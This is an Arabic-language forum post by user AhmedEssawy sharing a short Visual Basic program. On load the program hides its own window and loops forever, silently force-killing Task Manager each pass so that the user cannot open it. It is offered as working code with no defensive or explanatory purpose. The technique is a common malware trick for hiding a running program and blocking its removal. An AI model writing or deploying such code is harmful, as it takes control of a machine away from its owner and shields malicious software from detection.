17-10-12, 12:55 AM
كاتب الموضوع : AhmedEssawy
كود :
Private Const killer As String = "kill"
Public Function ikill()
killit:
'set a condition that will never be false to make the program loop indefinatly
If killer = "kill" Then
killproc = Shell("taskkill /f /im taskmgr.exe", vbHide)
On Error Resume Next
GoTo killit
End If
End Function
Private Sub Form_Load()
'hide the program's form
Me.Hide
'initialize the ikill function
ikill
End Sub